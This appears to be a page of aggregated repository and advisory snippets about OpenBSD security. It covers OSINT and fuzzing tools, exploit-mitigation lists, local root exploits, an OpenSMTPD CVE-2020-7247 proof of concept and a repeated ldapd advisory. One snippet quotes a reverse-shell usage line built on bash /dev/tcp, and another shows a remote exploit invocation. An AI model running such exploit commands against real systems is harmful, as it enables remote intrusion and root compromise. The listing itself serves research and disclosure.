sn0int

sn0int sn0int pronounced /snoɪnt/ is a semi-automatic OSINT framework and package manager. It's used by IT security professionals, bug bounty hunters, law enforcement agencies and in security awareness trainings to gather intelligence about a given target or about yourself. sn0int is enumerating...

team-teso

team-teso TESO-CVSは、2005年（ベルリン）にTHCの10周年記念パーティーTHCでのTHCの10周年記念パーティーでTHCに贈られました。 ここでは教育目的のみで公開されています。楽しんでください。 いくつかのアーティファクトはCVSでホストされたことはなく、時間の彼方に失われています: TESOのSSHエクスプロイト 多くの（ああ、本当にたくさんの！）OpenBSDエクスプロイト（OpenBSDに対する世界初のリモート0dayエクスプロイトを含む） Stacheldraht & Blitzkrieg とても多くの写真（ 証拠,cought cough...

exploit_mitigations

Exploitation Mitigations The goal is to list exploitation mitigations added over time in various operating systems, software, libraries or hardware. It becomes handy to know if a given vulnerability is easily exploitable or not depending on exploitation mitigations in place. An example is the...

exploit_mitigations

エクスプロイト緩和策 目標は、様々なオペレーティングシステム、ソフトウェア、ライブラリ、またはハードウェアにおいて、時間の経過とともに追加されたエクスプロイト緩和策をリスト化することです。 特定の脆弱性が、導入されている緩和策に応じて容易に悪用可能かどうかを知るのに便利です。 例を以下に示します: 目次 サポート対象 動機 現在の環境に緩和策Xは存在しますか？ 最後に サポート対象 現在サポートしているオペレーティングシステムは以下の通りです: Microsoft Windows Linux Google Android Apple iPhone OS iOS OpenBSD FreeB...

naxsi

Project Status This is a project status update regarding Naxsi. As you may have noticed, the development of Naxsi has been stopped and the repository will be archived for historical reasons. This means that no new updates or bug fixes will be released for this version. However, if you wish to...

TriforceOpenBSDFuzzer

TriforceOpenBSDSyscallFuzzer 20160825 https://github.com/nccgroup/TriforceOpenBSDFuzzer Jesse Hertz [email protected] Tim Newsham [email protected] 这是一组用于使用 TriforceAFL（即 AFL 和 QEMU）对 OpenBSD amd64 执行系统调用模糊测试的文件。要使用它，你需要 TriforceAFL https://github.com/nccgroup/TriforceAFL、FlashRD 2.0 发行...

openbsd_ov1

OpenBSD TCP/IP 溢出 已在最新的 OpenBSD 7.2 上测试 详情： int ipdooptionsstruct mbuf m, struct ifnet ifp ... for ; cnt 0; cnt -= optlen, cp += optlen opt = cpIPOPTOPTVAL; if opt == IPOPTEOL break; if opt == IPOPTNOP optlen = 1; else if cnt cnt code = &cpIPOPTOLEN - uchar ip; goto bad; switch opt case IPOPTLSRR...

local-exploits

本地漏洞利用 各类本地漏洞利用 CVE-2020-8793 opensmptd-makemap-lpe —— Fedora 31 OpenSMTPD makemap 本地 root 漏洞利用。 代码大部分取自 Qualys 安全公告（2020-02-24），针对 CVE-2020-8793。 opensmtpd：非特权攻击者读取任意文件可导致信息泄露或权限提升 fedora-all CVE-2020-7247 root66 OpenBSD 6.6 OpenSMTPD 6.6 本地 root 漏洞利用。 代码大部分取自 Qualys PoC（2020-01-28），针对...

CVE-2026-41285-OpenBSD-v6daemons-go-brrr

CVE-2026-41285：一包即杀死OpenBSD上的IPv6 来自本地网络的一个精心构造的ICMPv6数据包会永久挂起slaacd和/或rad。IPv6 SLAAC地址自动配置将失效，直到有人手动重启守护进程。无需认证，无需权限，只需18字节的ICMPv6负载。 | ---|--- CVE| CVE-2026-41285 漏洞类别| 整数下溢导致的无限循环 根本原因| ND选项解析器执行ndoptlen 8 - 2时未检查len==0 受影响组件| sbin/slaacd/engine.c，usr.sbin/rad/engine.c 影响| IPv6...

CVE-2020-7247

CVE-2020-7247 この脆弱性は、OpenBSDのメールサーバOpenSMTPDの「smtpmailaddr」関数に存在し、OpenBSDバージョン6.6に影響を与えます。これにより、攻撃者はrootユーザーとして「sleep 66」などの任意のシェルコマンドを実行できます。 使い方 python3 getShell.py リバースシェルが必要な場合は、次のように実行します。 python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要 このエクスプロイト内のRCPT...

Astra Linux – Vulnerability in Linux

A issue was discovered in the kernel of OpenBSD 6.6. The WEP, WPA, WPA2, and WPA3 implementations treat fragmented frames as full frames. An adversary can exploit this to inject arbitrary network packets, regardless of the network configuration...

CVE-2020-7247

CVE-2020-7247 CVE-2020-7247 の PoC エクスプロイト OpenSMTPD 6.6.2 のリモートコード実行 OpenSMTPD 6.6.2 https://www.cvedetails.com/cve/CVE-2020-7247 テスト済み: OpenBSD 6.6 ペイロードのクレジット: Marco Ivaldi [email protected] 使用方法 リモート $ go run CVE-2020-7247.go -u 192.168.0.2 -p 25 -d example.org Linux を使用していない場合は、ソースコード内の ...

Openbsd-Privilege-Escalation

Openbsd-Privilege-Escalation 一个脚本，通过利用 xlock 二进制文件获取其 sgid（CVE-2019-19520），自动执行 OpenBSD 系统上的权限提升过程；并通过（CVE-2019-19522）利用 auth 组的权限，向 Skey 或 Yubikey 添加密钥，从而提升至 root 用户。 C 代码几乎完全复制自原始 PoC：https://www.openwall.com/lists/oss-security/2019/12/04/5 CVE-2019-19522：通过 S/Key 和 YubiKey 进行本地权限提升 在 OpenBSD...

CVE-2026-103547

In ldapd in OpenBSD 7.8 before errata 057 and 7.9 before errata 021, delegated BSD authentication results are correlated only by the LDAP child process client file descriptor and LDAP message ID. After a connection closes, a later connection that reuses the same file descriptor and message ID can...

CVE-2026-103547

In ldapd in OpenBSD 7.8 before errata 057 and 7.9 before errata 021, delegated BSD authentication results are correlated only by the LDAP child process client file descriptor and LDAP message ID. After a connection closes, a later connection that reuses the same file descriptor and message ID can...

CVE-2026-103547

The ldapd service in OpenBSD 7.8 (before errata 057) and 7.9 (before errata 021) contains a vulnerability where delegated BSD authentication results are incorrectly correlated using only the LDAP child process client file descriptor and LDAP message ID. This allows a remote attacker who can reach...

EUVD-2026-90259

In ldapd in OpenBSD 7.8 before errata 057 and 7.9 before errata 021, delegated BSD authentication results are correlated only by the LDAP child process client file descriptor and LDAP message ID. After a connection closes, a later connection that reuses the same file descriptor and message ID can...

CVE-2026-103547

In ldapd in OpenBSD 7.8 before errata 057 and 7.9 before errata 021, delegated BSD authentication results are correlated only by the LDAP child process client file descriptor and LDAP message ID. After a connection closes, a later connection that reuses the same file descriptor and message ID can...

CVE-2026-103547

In ldapd in OpenBSD 7.8 before errata 057 and 7.9 before errata 021, delegated BSD authentication results are correlated only by the LDAP child process client file descriptor and LDAP message ID. After a connection closes, a later connection that reuses the same file descriptor and message ID can...

CVE-2026-103547: Incorrect Authorization

In ldapd in OpenBSD 7.8 before errata 057 and 7.9 before errata 021, delegated BSD authentication results are correlated only by the LDAP child process client file descriptor and LDAP message ID. After a connection closes, a later connection that reuses the same file descriptor and message ID can...